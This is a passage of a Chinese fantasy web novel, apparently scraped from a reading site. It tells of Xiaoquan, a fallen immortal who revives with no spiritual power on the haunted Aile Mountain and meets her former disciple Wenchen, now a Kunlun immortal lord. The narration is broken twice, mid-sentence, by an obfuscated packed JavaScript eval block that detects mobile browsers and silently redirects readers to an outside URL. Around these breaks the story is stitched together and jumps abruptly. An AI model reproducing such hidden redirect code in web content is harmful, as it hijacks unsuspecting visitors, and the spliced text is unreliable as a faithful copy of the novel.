《慢着师父,我是你师尊!》 1. 重生 “喂,醒醒,你醒醒……” “阿爹,你看这人,我感觉快要不行了。” “再加把劲儿,此地不宜久留。” 死寂阴森的密林土丘有一老一小挖着什么。坑内,少女四肢温凉,破烂布衣沾尽尘泥,面庞格外惨白渗人。中年男人伸手探她鼻息,而后倏然缩手,和小孩大眼瞪起小眼来。 小孩惊魂未定,却利索脱下外套披在少女身上,将其托到男人背上,一起直奔西北方。 …… 潇泉不记得自己是怎么死的,只记得人声鼎沸,无数面孔挂着喜悦,谩骂诅咒全落在她一人身上。哪怕十年百年过去,依然无止无休,断断续续。 不甘和执念从深渊中连根拔起,深埋地里的冰冷尸体重新获得魂灵,有了呼吸。 当潇泉再次睁眼,与一片金灿辉煌打了个照面,彩云碧水洋溢着春雨后的气息,和先前所梦见的截然不同,很温暖。 这是……怎么回事? 她不敢相信,反复眨眼,眼前景象纹丝不变,五感逐渐清晰,连带胸口的压抑也感知得一清二楚。低头一看,一条大狗趴在身上,能喘得过气那就怪了! 这狗浑身金毛,咧嘴吐舌给潇泉洗了个酣畅淋漓的口水脸,她使半天使劲儿也没使上,无奈放弃挣扎。 潇泉心中百感交集,记得自己好像睡了很久……不,是死了很久,久到她对眼前的所有景象恍若隔世。 这是何地? 潇泉艰难坐起,倒斜的房间随之变正,视线无力下移,正对着一只手,瘦弱惨白得像死了三天,指甲沾着点点黑泥,从肤色纹路来看很年轻。 这是她的手? 潇泉不敢相信,打了自己一巴掌,还是不信,又来一巴掌,终于信了。 大爷的,真疼啊。 没想到重活一世居然返老还童了,潇泉不知是该哭该笑。 按理来说她不可能死而复生,为何突然有了一具身体?这具身体宛若一张白纸,感应不到任何记忆。难道是天赐所化的一副空壳,她成为了身体的主人? 潇泉不停抚摸脸庞,忽有东西砸中她脑袋。 一名锦衣小孩大步流星走来,丢掉手里其余的泥巴块,轻扬下巴问候:“醒了?” 潇泉张口发不出声,加之喉间干痛,干脆闭唇不语。 小孩没注意她状态,“我还以为你死了呢。” 潇泉没心情管这歹毒话,还在死而复生的处境中纠结,心有三问:我是谁?我在哪儿?我为何活了? 小孩见她呆滞不语,疑道:“你不会是个哑巴吧?” 潇泉指向微张的嘴,示意自己喉咙难受,不能说话。小孩没有嘲讽,倒水过来。潇泉懒得怀疑对方真情假意,接过水杯慢饮下肚。 一股清流穿过五脏六腑,凉爽过后便是一阵温热,空腹感随之消失殆尽。这是真得多谢,此饮无色无味,并非是水,而是润喉养身的养身水。 待嗓子清润一点,潇泉试着开口道:“若我说,我死了呢?” 小孩没介意她沙哑难听的声音,把大狗招到脚下,双手揉搓狗脸,“你胡说八道什么?人死怎么可能复生?” 潇泉:“我原本也不信,但真碰见了,不信不行。” 小孩轻哼一声,走到丹炉旁,“这种话我不止听过一次,吓不到我。” 潇泉没再回应,而是趁机打量。瞧他衣锦器精,举态从容高傲,大可能是家中长辈捧在心尖上的宝贝。能轻易化用灵力,说明家世祖传的资质不错,应当出身于某个修仙世家。 非亲非故,潇泉好奇自己是怎么到他家的。这地方一看便知是寻常修仙人家的府宅,桌椅地板无一不带着零零散散的灵气,还有专门的炼丹炉。 丹炉火光照暖少女的清冷脸庞,小孩脑海里闪过之前的画面。 起因是父亲制药时急需一味灵草,以腐肉为养料,有半正半邪之效,不算特别珍稀。巧的是家里刚好用完了,小孩只好和父亲去哀乐山找,那里最多这类灵草。 上山不到一个时辰,天空骤然变暗,冷风飒飒,变幻莫测。见多识广的老修士父亲一看,知道大事将发,急匆匆抓完几味灵药,立马拉上小孩回家。 小孩:“阿爹,我们不是要斩妖除魔?为什么还要跑?” 苏父啐道:“你想正义凌然行大道,别拉上你爹一起死!用你的狗眼好好看看,这不是妖气,是魔气!哀乐山多少年没出现过这类气息了,你爹出生以来从未见过,不跑等死吗?” 小孩少见父亲失态,心想这回定是碰见了厉害家伙,脚底跑得都要擦出火星子,结果半路摔得个狗啃泥。他慌忙爬起,忽见面前埋着一张惨白人脸,吓得心脏怦怦跳,险些大喊,亏得老父亲及时捂嘴,才没有打破山中寂静。 在哀乐山碰到尸骨乃常事,可新鲜尸体却倒罕见。父子俩蹲下来查探,发现少女还有生命迹象,震惊之余,迅速带回家试救。活了就算她命硬,没活就算老天无眼。 还好没有意外。 确切来说,是这女孩命硬。在任何灵药灵力医治无效的情况下,自己还能慢慢恢复正常心跳,不说老天保佑,他们根本不信。 潇泉:“你们是在哪里捡的我?” 小孩:“哀乐山。” “竟是这里……确实不太吉利。” “什么不太吉利?那是非常不吉利!”小孩两手比划,“你像一根萝卜被种在地里,我和阿爹挖了半天才把你挖出来。说来也奇,哀乐山那么多孤魂野鬼,你一个大活人被埋在土里竟然没事?” “……我也不知,也不记得之前的事。”潇泉转移话题,“你们放我一个人在这儿,不怕我偷炉内丹药?” “区区养身灵丹,你想要拿去便是,我们又不止这一鼎。”小孩说完又转变面色,“不过代价之大,我劝你谨言慎行。还有这火烫,你可得当心。” 与其在陌生的屋檐下卑微俯首,潇泉觉得自己还不如在哀乐山当萝卜。 潇泉:“你叫什么名字?” “苏烈。” “你带没带镜子?” 小孩睨她一眼,“我只有下山时带镜子。” 潇泉恍悟。 此下山非彼下山,此镜子非彼镜子。在修行中,有类镜子专门针对伪装成人的邪祟妖物,为世人所称“捉妖镜”。 小孩:“外面有池塘,你可以去照照。” 潇泉忙不迭去了。 池面映现的脸庞和前世截然不同,五官挺立却有几分少年的稚嫩,素面苍白如雪山,颜色不比原样明艳动人,但胜在看着舒服,恰好合她心意。 如此,倒也算尝试崭新人生了。 她洗净双手,尝试使出灵力,手指左右勾变将近抽筋,愣是没憋出什么灵力,只催动一片树叶,还是风帮忙吹掉的。 小孩在后面笑道:“噗哈哈哈你不会是半点灵力都没有吧?” 潇泉白他一眼,懒得搭理,兀自思绪百转。 她感觉浑身疲惫沉重,像背了几层肥厚被子行山路似的,半死要活。莫不是真像这无良小孩所说那样,半分灵力也无? 他最好祈祷现在的潇泉是个手无缚鸡之力的废柴,而不是呼风唤雨的魔头,否则有他哭的。 一阵细碎铃声突响,小孩闻声色变,走前不忘叮嘱:“你快进屋里,别出来。” 潇泉嘴上应着没问题,待他走后原形毕露,从窗缝偷看外面的猫腻。她太熟悉了,这种场面不是有危险临门,就是讨债的上门。 周围安静得近于诡异森然,不知是不是躺尸多年、与世隔绝太久了,她竟感到有点毛骨悚然。 青蓝白日已乌沉大半,阵阵妖风卷叶而来,仿佛昭示危险将临。 小孩还没回来,潇泉偷偷跑出院子,撞见疾步穿梭在屋檐下的一行人。他们厉色严面,清一色的青袍银剑,直往前院赶。她速速追上,逮着一名面相良善的护卫问:“这位兄台,发生什么事了?” 小兄弟也不认生,答:“老爷说是哀乐山的玩意儿追来了,我们得赶紧去布防。姑娘你先进屋躲着吧,不要四处走动。” 哀乐山是诡异,但不至于到必死无疑的地步。修为高、运气好,很少会被山里的东西缠上;运气差、修为低,则另当别论,什 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苏烈甚是自豪,“我阿爹是南山山庄的座上宾,道行高深,一拳可以打碎九十九块山石,一掌能把人的天灵盖拍碎!” “你亲眼见过?” “嗯……没有。” 潇泉没听过南山山庄的座上宾有苏姓人氏,兴许是她死后,庄主新结识的人。正想着,她两眼一黑,身体向旁倾倒。 苏烈忙过来扶住,“你怎么了?要是身体不舒服,我现在就叫大夫过来。” 潇泉气虚无力趴在桌上,“如你所说,我灵力低微,被外面的邪祟之气影响到了,普通大夫应该帮不上什么忙。” 苏烈:“你可别装啊。” 潇泉叹气说:“你看我像吗?” “像。” “行,你说像就像吧。” 苏烈见她性格不错,心底涌上几分好感,没想着再打趣,“你这分明是自己的问题。再这样下去可能会被邪祟污染,要么带个法宝护身,要么自己潜心修炼。我觉得,你还是先提高修为的好。” 他说得不错,她要是再不想办法强筑筋骨,怕是怎么死的都不知道。 潇泉凝神正色,“言之有理。” 苏烈:“再过一个月便是昆仑开山之日,届时会聚集各路高修。你可以上去碰碰运气,看看有没有好心的修士愿意教你法子,指点你一二。我实在帮不上什么忙,不好意思。” 孩子挺诚实的,就是嘴毒了点儿。潇泉由衷道了一声谢,又问:“这哀乐山是怎么回事?” 苏烈面带严肃,“哀乐山两百年来时而死寂,时而怪事频频。大概十年前,南山山庄有几人醉酒误闯,至今下落不明,其中一位还是庄主大儿。我阿爹和山庄侍卫找了许久,实在找不到人,无奈去请昆仑来寻,结果你猜怎么着?” 潇泉:“怎么着?” 苏烈摊手,“还是没找到。庄主给他儿子的命符碎成一地。” 早些时候,仙家会拿某件宝贝和孩子绑定命运,通过宝物反映孩子的生死康健,俗称“命符”。 命符灭,符主亡。这南山庄主的儿子怕是凶多吉少,很难救了。 哀乐山十分古怪,它不感兴趣时,待那儿三天两夜都没事;它兴致一来,哪怕路过也会招惹上不该惹的东西,极难生还。 至于为何出名,传闻是曾有一仙人死在里面,被发现时面带微笑,后来又说深处会产生使人致幻的迷雾,令人醉生梦死或痛不欲生,所以造就“哀乐”山名。 外面天色渐沉,苏烈带潇泉来到一个素净房间,道:“你就在这儿睡,不管发生什么事都不要出来。我去找我阿爹了。” 他递给潇泉一个锦囊,“带上它,有大用。” 潇泉:“这是……” 苏烈:“里面装有辟邪木,可抵御妖邪,但对大妖没用。” 潇泉:“行。对了,你有没有符纸?只要没有符文,哪种都行。” “无字符纸?你要这玩意儿干啥?” 2. 旧故(一) “当然是有用了。”潇泉伸手,“你有吗?行行好,送我一点。” 苏烈对她这副乞讨模样略有无奈,“那你老实在房间待着,我去去就来。” 潇泉几欲感激涕零,“好。” 苏烈从自己房间翻出没有着墨画文的符纸给她,简单问完一些事情,道:“我可是真心提醒你不要出去,外面情况不妙,容易碰到不好的事。” 潇泉嘴上答应好,怎么做就是另一回事了。苏烈走后,她躺在床上美滋滋道:“没想到这小子挺大方,给了我三十张无字符纸。” 三十张,够她走出这里了。 潇泉百无聊赖发了会儿呆,越想越不信邪,盘腿而坐,紧闭双目,丹田仍旧空空如也,毫无聚气征兆,实与废柴无异。她咬牙痛骂苍天不公,死一回也罢,还重生成一个任人宰割的废人! 万幸这具身体四肢健全,潇泉可以试学之前熟习的入门剑法,只是没有灵根,修炼会比平时艰难痛苦。 潇泉:“唉,天才成废柴了,不好受啊。” 夜晚,苏府在古怪氛围中尽显安宁,潇泉在房间内靠肢体记忆过了几遍剑法,不是这里酸就是那里疼。 这具身体没想象那么顽强,需长期精心调养。可是没钱没势没人脉的,拿什么调养? 她正愁着,外面突然有人喊:“门口有动静!快,去把锁妖绳拿过来!” “你们两个快去叫老爷和公子!我们先去门口布防!” 脚步之重,动静之大,潇泉赶紧放下扫帚溜出了门,偷偷跟他们来到前院。 院口笼罩着一层淡蓝光芒,一团团邪祟在里面横冲直撞,一群人堵在外面念诀施压。这些邪祟修为不高,但极难杀死,消灭彻底不是一时之事,最好是先抓后除,以绝后患。 护罩没有问题,奇怪的是,这次邪祟比以往狂暴许多,好似下一刻即能冲破屏障杀人。 苏烈跑向父亲,“阿爹,要不我们放个信号,把附近仙人请过来?” 苏父:“你确定那两位还在这边?他们昨日就巡逻完了。” “试试便知。”苏烈小声,“万一是我们赌错了呢?” 苏父犹豫再三,最终应道:“行,那等等看。” 护卫抓到几只邪祟,还有几只拼命冲往府里,方向明确。 看这架势,潇泉苦思道:“不能是冲我来的吧,不应该啊……” 话虽如此,可邪祟不改暴躁,撞得护罩砰砰响,不管冲谁而来,形势都不太妙。 潇泉准备要撤,却无意对上苏父带有审视的目光,一时语噎,最终选择无视,跑回原来房间打算避避风头。 一推门,一股阴凉寒气掠过后脑,掀起她一身鸡皮疙瘩。 这儿居然有一团更大的黑雾蛰伏在暗处! 黑雾瞅准时机过来狠撞,潇泉当场两眼发黑昏了过去。 她失去所有知觉,像在梦中又不像是梦,有邪恶声音不停回荡,“潇泉,你不是死了吗?怎么又活着回来了?你把我关在这里不见天日多少年了,可曾想过我的感受?” “我要让全山的鬼把你啃成烂肉骨头,让你永世不得超生!就算我下地狱也要拉着你一起哈哈哈哈哈!” 听到这熟悉又诡怪声音,潇泉身体一抖,倏然睁眼,发现自己身处异地。 夜下深林漆黑死寂,没有任何生灵生息,阴冷气息似曾相识,如果没有猜错,应当是吃人于无形的哀乐山。 那团黑雾来头不小,身上气息与山鬼无异,绝对是后者养出来的傀儡替手,动作去处皆受其指使。 现下没再听到山鬼声音,潇泉小心摸索出路。就在此时,上空掠过一道黑影,正是劫她来此的那团黑雾! 潇泉撒腿就跑,没见黑雾追来,正当奇怪时,四面八方陆续出现一片片模糊不清缓慢爬行的黑影,让她登时想到哀乐山的悲剧景象。 这里死过成百上千的人,尸骨成山,怨气深重,是邪祟妖魔聚生的绝佳风水地。同样,山鬼被封印照样能吸取怨恨生存,化出黑雾或是其他躯壳残害他人。 梦中听到的怨语不是虚假,山鬼确实还在记恨着她。说起来,潇泉还是在它地盘上死而复生的,简直是倒霉人走倒霉运,倒霉到家了。 在没有被彻底包围之前,潇泉边撤边用辟邪木吓退它们,但一路走来,效果甚微。非是木头不行,怪就怪在地方不对。 哀乐山怨念深重,于邪祟有增功之效,以致它们比寻常邪祟更凶猛可怖。苏家不会不知,理应会加强辟邪木,但是没有。 是了,人家以法器除妖降魔,何故以木头去斗?当然是潇泉这种连仙门门槛都摸不到的废物才会用。 眼看群尸逼近,潇泉冷声道:“山鬼,我是叛仙成魔的人,我不想死,就没人能彻底消灭我。就算我再死一次,只要世间邪念怨气不灭,我就可以永生。” 群尸不停不休,潇泉被迫跳到树上,咬破指尖在空中画出一道符咒。符咒红光微闪,立即起效,谁知尸群没有反应,还在呆愣往前走。她以为时隔多年不用、符咒失灵,没想到片刻后,尸群逐一停下。 正是逃命的好机会! 潇泉跳到地面,拖着虚弱身体狂跑不停。 天空黑雾越聚越多,潇泉警惕环视四周,忽然脚踝一紧,低头一看,竟有一只掘地钻出的傀尸爬在地上伸手抓她!她一脚踹得利索,傀尸瞬间散架滚到几步之外,但又迅速整合汹汹冲来。 对方纠缠不休,潇泉被逼画符施向对方,岂知傀尸脚步只歪停一刻,继续奔来。她眉间生戾,没有再退,捡起粗棍与之抗衡,勉强守住自身安危。 符咒远远不够消灭它,要想做得彻底,可能得使用诡术。 诡术是她弃仙堕魔后常用的术法之一,百变诡谲,招式不定,修为不限。听上去容易修炼,实则难以大成,能达巅峰者屈指可数。 周围没有别人,潇泉决心下手,哪知傀尸像有提前感知,倏然不见踪影。她没空寻思对方目的想法,果断弃战寻找出路。 突然,周遭阴风有了温度。 潇泉闭眼感受风向,两指夹住符纸一顿轻念。刹那间,林中骤起狂风,符术正要起效,不知何处传来劲气打断施法。 金光刺破黑暗,一声充满力量朝气的声音传来,“大胆妖孽!还不速速离去!” 借此金光,潇泉看清来人模样。 少年身穿碧蓝长袍,身材瘦而不弱,手持一把如威猛大雕的金色长弓。他展臂拉弓,以灵力为箭射向林中暗处。快如闪电的金箭带起一道昼光,在荆棘丛海中破出一条路来,惊飞林中无数鸟雀。 少年目光尖锐,发现这片行尸走肉乃凡胎之躯,立刻朝天射出一支穿云箭。 神奇的力量自远方回应,至阳至纯,干净无邪。 潇泉莫名心头一紧,随后听见少年仰天大喊:“百里大人!快来救我!” 忙活半天,招的是个大活人? 金弓耀眼夺目,用法独特,潇泉似曾相识,却想不起来,但能肯定少年绝非寻常修士。另外,仙门没人敢随意称呼“大人”,除非对方身居高位且有官职头衔,而天下之大,唯有昆仑仙君符合资格。 潇泉:“……” 坏了,搞不好是熟面孔。 气氛陷入死寂。 少年不知嘀咕一句什么,神情委屈。 一心想逃的潇泉来不及感激,赶忙下树溜人,结果滑脚摔了下去。她趴在地上缓神,拍开头顶树叶,暗道自己不应爬这么高的,完全是在作死! 树林上方,一层浅浅的粼粼波光缓缓沉下,中央有一柄白伞浮立,散发的灵力与少年招唤的一模一样。 少年兴高采烈跑去,与此同时,白伞后方现出一个人影。此人身形高挑,体态刚柔有劲,暗色衣袍在月光下隐隐发紫,漆发束冠,半头散发肆意张扬,将温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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山村野间果然多愚昧之人,这也算了,说话还蛮不讲理!少年忍无可忍,“那可是昆仑仙君,仙门的顶梁柱!你以为是无名无派的无名修士?也不知道出去多打听打听。亏你命好遇上了,不然平时想见都见不到!” 潇泉顿了顿,“哦,那确实厉害。” 不仅是她昔日同僚,还是年轻后辈。这缘分可巧。 少年斜睨她,“我看姐姐脉搏与常人不同,以为你也是修道的,难道不是?” 潇泉拍净裙摆灰尘,“我初出茅庐,不懂这些,何况是个散修。” “别说话,躲好。” 男子突然发话,少年立刻收敛,带潇泉躲进边上草丛,然后指向男子方向,示意她不要错过精彩画面。 两人默默观望,只见白伞在空中大转两圈,尽数吸纳四处乱窜的妖魔邪祟,之后自动收合飞回主人手里。接着,紫衣男子并拢两指竖在眉心间,轻轻念词,失去邪气驱动的行尸走肉在天地间渐渐消散。 潇泉:“这什么伞?又能遮雨又能奸邪的,有地方卖吗?” 少年:“你……这是百里大人自制的捉妖法器,名为千魂伞,千金难买的好不好!” 潇泉:“不好意思,我是个乡巴佬,你多体谅体谅。对了,我看你家大人拿着伞飘来飘去,是干嘛呢?” 少年没有埋怨她这次的无知,解释:“渡冤魂。百里大人最擅长的。” 潇泉以为自己听错了,“渡冤魂?” 少年:“是啊。” 潇泉发自内心赞叹:“厉害。” 渡这么多冤魂会消耗不少修为,这位新任仙君品行着实不错,想必道行也深得可怕,昆仑算是捡到宝了。 只是可惜了这块宝玉。 灭完邪祟,男子负伞走来,其气息与潇泉相识的某个故人相似,可任她怎么将记忆抽丝剥茧,都无法叫出属于他的名字。 男子清明的音色略带沉哑,“宫璃。” 少年恭敬拱手,“百里大人。” “你先把这位姑娘带回苏府,我随后就到。” “那大人你呢?” 男子不答,快步折回林里。 宫璃不敢误事,二话不说拽住潇泉跑起路来。 3. 旧故(二) 宫璃动作麻利,潇泉被拽得差点摔倒,正想提醒,少年反握住她手腕试探脉搏,“我看你好像没什么灵力啊,不会是废柴一个吧?” 潇泉轻扯嘴角,“你们昆仑山的人说话都是这样?” 宫璃:“我实话实说啊姐姐,你体内灵力少得都要上街乞讨了,根本难以自保。要不是我早来一步,你怕是得折在那了。” 潇泉:“没办法,我醒来就在这儿了,之前发生的事一概不知。哀乐山这么古怪,可能我的灵力是被那些古怪玩意吞走了。” 宫璃:“你以前有灵力?很强吗?” 潇泉作势抬手一劈,“那当然。我一剑鸣九州,你信不信?” 宫璃若有所思打量她,什么也没说,但又什么都说了。 潇泉叹气,不作多余解释。 走着走着,两人在林间摸出一条路来。可半日过去,仍不见那名男子跟来。 潇泉顿住脚步,“你不等那个百里大人了?” 宫璃:“不用了,我们先走。” 潇泉:“万一他在那里走不出来了怎么办?” 宫璃瞪眼,“你的意思是,一个修为十二境的昆仑仙君会被一座落魄妖山困住?你知不知道仙门突破第十二境的人有多少?就算是出身三大仙门的仙君也只有一个十二境,其他两个都是十一境半。论实力,百里大人和昆仑长老平起平坐,比其他两位仙君的位分要高些,深得主宰大人器重。” 如此说来,潇泉不奇怪这位仙君能把傲娇少年治得服服帖帖了。一般人是从仙君尊升长老,再登峰造极修至十二境。此人却在位列仙班时突破瓶颈境界,不说平日多能吃苦,天赋肯定是百年难遇的。 眼下急事要紧,宫璃没空详说百里大人的身份来头,问道:“姐姐,你知不知这里有专门看守哀乐山的一户人家,姓苏。” 他知道这地方有户苏姓人家?潇泉心里打着小九九,“知道。我就是从他们家跑出来的。” 她把自己被绑到哀乐山的过程尽然道出,宫璃听完后挤眉,“苏家怎么回事,连一些邪祟小妖都斗不过,不可能的事。” 两人赶到苏府,苏老爷正与一名年轻女子在屋内谈话,话声时轻时重,其他护卫在门口候着,面孔无不肃然。 门口的苏烈先过来关心潇泉:“你没事吧?” 潇泉弱弱摇头,躲到宫璃身后,心中秉持一“装”字。 见她避着自己,苏烈面露愧疚,垂面退到一旁。 苏老爷大喊:“宫璃少君!你切莫靠近那少女!她非是常人!” 宫璃斥道:“苏老爷,你故意让妖抓走这位姑娘,就是为了验证这愚不可及的猜想?她一个活生生的人,没有妖气没有灵力,出了人命怎么办?!你们担待得起吗!” 他话一出,潇泉立马一副受惊的委屈表情。 苏老爷据理力争,“少君,你应当知晓哀乐山是什么地方。她一个没有灵力的废人突然出现在那儿,而且还是半身埋地的姿势,难道这不可疑?我这么做是为了大家!你别忘了南山庄主的儿子是怎么死的!” 宫璃:“既然你敌意这么大,又何苦去救她?!” 苏老爷瞪向苏烈,伸指唾骂:“还不是这个逆子!偏要把人带回来一探究竟,我早说在外面不能捡人,以免招惹到脏东西,他就是不听!” 苏烈把头低得更下去了,“那也不能一棍子打死全部吧……” 潇泉一下明了,苦笑:“所以你们父子俩一个是不想救,一个是硬要救,结果都在怀疑我到底是不是妖?” 苏烈:“……对不起。” 潇泉不知该说什么,再如何都是苏府的人救了自己,哪怕他们没有完全信任她,但还是帮她躲过一劫。 苏烈:“那听少君你的意思,这位姐姐只是灵力低微而已,不是妖怪所变?” 宫璃:“那当然了,要真是妖物所变,怎会逃过我的火眼金睛?” 苏烈尴尬一笑,没再说话,也不再靠近。他觉得这位少君本性过于高傲,说话爱拿鼻孔瞪人,估计是不好惹的。再看潇泉对自己爱答不理,就更没什么好讨的了。 殊不知,潇泉是谁都没空搭理,总觉得屋内女子好像在哪儿见过。 “叮铃叮铃” 铃声细碎,尾音若嘤,潇泉猛然想起。 普天之下,没有谁会比她更喜欢穿戴铃衣罗裙了。这便是那个和潇泉有“偷桃之仇”的公主殿下,花容酒。 贵为公主的花某,自然不会做出偷仙桃这等卑劣事,是潇泉一时没忍住手,以为那是无人看守的野园,才不小心犯下偷桃之错。 花容酒步伐轻快走出房间,她腰挂小镜,右悬灵剑,眉心缀着象征高贵身份的朱砂印,蓝羽绣纹的轻薄雪衣不染纤尘,和当年一样爱干净得很。 苏老爷压住怒火,拱手行礼,“公主殿下。” 昆仑除主宰以外,身份最尊贵的便是公主殿下,所有人见之皆要行礼,更不用提一个小小的少君。宫璃早忍气低头,他人亦如此。 花容酒:“是不是妖,我一探便知。” 宫璃一听,顾不上地位尊卑,急忙制止,“这怎么行?殿下,你那照妖镜虽然好用,但损伤很大。照妖伤妖,照人折寿,不到万不得已不可使用。主宰大人就是这么说的。” 花容酒取下镜子,“现下正是万不得已之时,有什么不能用的?所有从哀乐山里带出来的都得严格查验,鬼知道是不是那个山鬼又在作妖!” 宫璃:“山鬼已被潇泉封印,根本没有能力养出活体傀儡。就算有此可能,傀儡也应会充满邪祟之气。这位姐姐身上不仅没有邪气,还没有灵力,若被照妖镜照到,指不定脱一层皮。殿下真的不能乱用!” 花容酒:“一个小孩也配跟我讲理?我看你是被这妖女蒙骗了心,竟敢随意袒护来历不明之人!” 她挥剑挡开宫璃,立马掏出照妖镜对准潇泉。潇泉赶紧用胳膊挡住,但还是被镜光照到脸庞。 昆仑法器非同寻常,很快,阵阵灼痛从潇泉体内蔓延到表面肤肉,疼得她捂脸倒地,想滚又不敢滚。 花容酒迅步上前要查,宫璃来不及挡,慌急之中,一柄白伞轻盈而强硬地将人挡退出去。 “殿下,不可。”紫衣男子在门口出声制止,他发染风霜,胸口轻轻起伏,不难想象赶路匆忙。 潇泉忍痛望去,注意到他身上残留的邪祟之气,陡然明白他为何迟迟不来,原是想灭掉山鬼老巢,不过看似没有找到。 这不怪谁,山鬼被她封印后,外界无法摸清它的踪影行迹,只能由潇泉本人亲自解开此谜。 在灯光的铺洒之下,男子的身影逐渐清晰。潇泉露出指缝,忍痛偷看。 花容酒:“百里君,你也想拦我?难道你忘了哀乐山以前干过的事?忘了你师父和山鬼是怎么狼狈为奸的了?” 宫璃和苏老爷深吸一口气,不敢大喘。 潇泉听得心惊肉跳,没想到他也有师父,还和她一样与山鬼做过交易?山鬼到底和多少人狼狈为奸过? 男子的几缕黑发落在肩头,双眼深沉平静,唇润浅白,表情不悲不喜,身着云紫衣袍,华而不俗,雅而不艳,宛若一幅随风轻动的活色画卷。 面如琢玉,气如沧海,一看就不简单,恐怕不止在外修为,心境也已到达超然万物的地步。昆仑有头有脸的人向来如此,最有名的便是那几位德高望重的仙君。 境界越高,气性越厚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059092|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会轻易波动情绪、受妖魔魅惑,此为好处;坏处是修行途中容易磨平七情六欲,封闭人之本性。 这个“坏”是潇泉认为的,每看到有人修成大道,步入昆仑,她都会慨叹这世间又多了一个“薄情寡义”之人。 男子腰间佩有一柄五尺有余的雪白长剑,剑鞘及剑柄皆泛有银鳞暗纹,寒芒难掩,仿佛下一刻就要出鞘,但面对花容酒他很平静,“这位姑娘身上没有任何邪气,灵力也无几,殿下不必如此为难。若有差错,由我承担。” 花容酒怒色骤增,“闻尘你!” 潇泉目瞪口呆。 怪不得那么像,原来根本就是! 潇泉下意识抵触,“不用了仙君,我谁也不跟,只要你们能保我下山就行……” 宫璃小声道:“姐姐,就算你下山还是会有危险,这儿离平安镇有很长的一段路,途中几乎没有落脚地。不如这样,你来我们青泽住上几日,之后我们再借你一匹千里马,送你到平安镇,如何?” 潇泉坚持己见,站到苏烈身后,“不太如何。” 这少年肯定不知青泽山是她老家。 她自幼在青泽修行,有一个惊才绝艳的师姐,两人共修共存,长大后同为青泽女君,是师父的得意门生。师姐才华过人,成功升仙进昆仑当职,谁知没过几年意外身亡,昆仑因此闭山整顿好长一段时日。 再开山时,潇泉抓住机会一飞升仙,不顾众人眼光口舌,自号“逍遥”,在仙门潇洒快活好些年,然后阴差阳错收了闻尘这个徒弟。 时过境迁,没想到这小子居然长这么大了,还成了昆仑仙君。 他为何取“百里”二字作仙号? 仙号对登仙成尊的修行之人有一定重要意义,一般人会以自己的字或是寓意吉祥的字来作仙号,而闻尘的仙号如此普通朴素,着实令人意外,和当初的她有异曲同工之妙。 潇泉希望闻尘没有认出自己,不过好像确实如此。 苏老爷垮下脸,“你不去也得去!我们苏府可容不下你!就是因为你,我们苏府才遭了一回妖祸!” 潇泉没有争辩。 脸还在断断续续作痛,她没忍住呜哇细吟,苏烈刚想过来关心,宫璃跨步拦住,说:“你还是别掺和进来了,没看见你爹的脸都黑成碳了?你再帮她,小心我们走后你一个人被关小黑屋。” 潇泉心里默同。她已受这小孩救命之恩,不能再“恩将仇报”,少些牵扯对谁都好。 照妖镜本是昆仑神物,潇泉没有充沛灵力保护,很快被副作用反噬,脸及脖颈逐渐泛红发辣。 宫璃实在看不下去了,怨道:“现在殿下满意了吗?照妖镜没有任何反应,她根本就不是妖。” 花容酒不语。 受昆仑神器之伤,哪怕是他们自己人也得想法子治一治。 少女的衣着朴素单薄,四肢沾染着污泥,面部和脖颈发红不止,已长出深红的斑斑点点。 闻尘向苏老爷要了间房,苏老爷看在他的面子上没有拒绝,又借出一些药粉给他配成清凉性的药给潇泉涂抹。涂抹完,闻尘再用干净纱布缠扎潇泉的伤口,只露出眼睛、鼻子和嘴。 如此体贴照顾,潇泉不禁回想过往。沉思之中,她发现自己竟想不起长大后的闻尘是何模样,更不记得自己有没有活到他那个时候。 她死时,闻尘约莫不到十八。 眼前画面太过熟悉,以至于潇泉产生错觉,宛若身处当年。可一想起当年,潇泉的嘴角不自觉勾起略带自讽的笑意,微微摇头,无意识推开了什么东西。 “……疼?”上方传来熟悉声音。 潇泉反应过来刚刚推开的好像是他手,应道:“是啊,疼死我了。” 4. 旧故(三) 闻尘面容不变,放轻动作。潇泉心中不免涌上暖意,暗道对方还是懂得如何照顾女孩的。 旁边,宫璃一边打下手一边嘟囔:“百里大人,我不明白,为啥咱们巡游非要带上殿下啊,我都懒得说她了。” 他想起花容酒趾高气昂不讲道理的样子,气得踢一脚凳腿泄愤。潇泉被这一幕逗乐,咧嘴一笑,扯痛脸上伤口,又赶紧收回笑容,往闻尘抹药的手凑去,喃喃:“疼疼疼……” 看着少女挤眉努嘴贴近的脸,闻尘身形定格一瞬,用手指抹去她蹭到的多余药膏。 温凉指尖化开药膏的感觉分外舒服,潇泉闭眼享受着,同时思考刚才少年所语。 少年心声吐错了人,闻尘不会说别人的坏,也不说别人的好,是非好坏只由心说。潇泉不敢说完全了解,但如果人变化不大,理应如此。 果然,闻尘没有搭理宫璃的抱怨,反问:“你还有力气拉弓吗?” 宫璃拍拍胳膊,“我可是有使不完的牛劲儿!百里大人你又不是第一天认识我了,怎么问起这个来?” 闻尘:“山鬼还未抓到,留些体力。” 宫璃:“山鬼被封印后,邪气淡化,难以察觉,我们是不是要翻遍整座哀乐山找它?” 闻尘没有回话。 宫璃自知不该没话找话,转而折磨潇泉,问她为什么会一个人出现在哀乐山,假如邪祟找到她了如何。 潇泉:“我也不知为何自己会出现在哀乐山。没有灵力法器防身,碰上邪祟,估计只能等死了。” 宫璃:“那你之前是干什么的?” “我独自在附近小镇生活,平时摘点野菜野果子摸摸鱼什么的填饱肚子。” “附近小镇?那不就是平安镇?这可巧,等你脸上伤好,我和百里大人送你回去。” 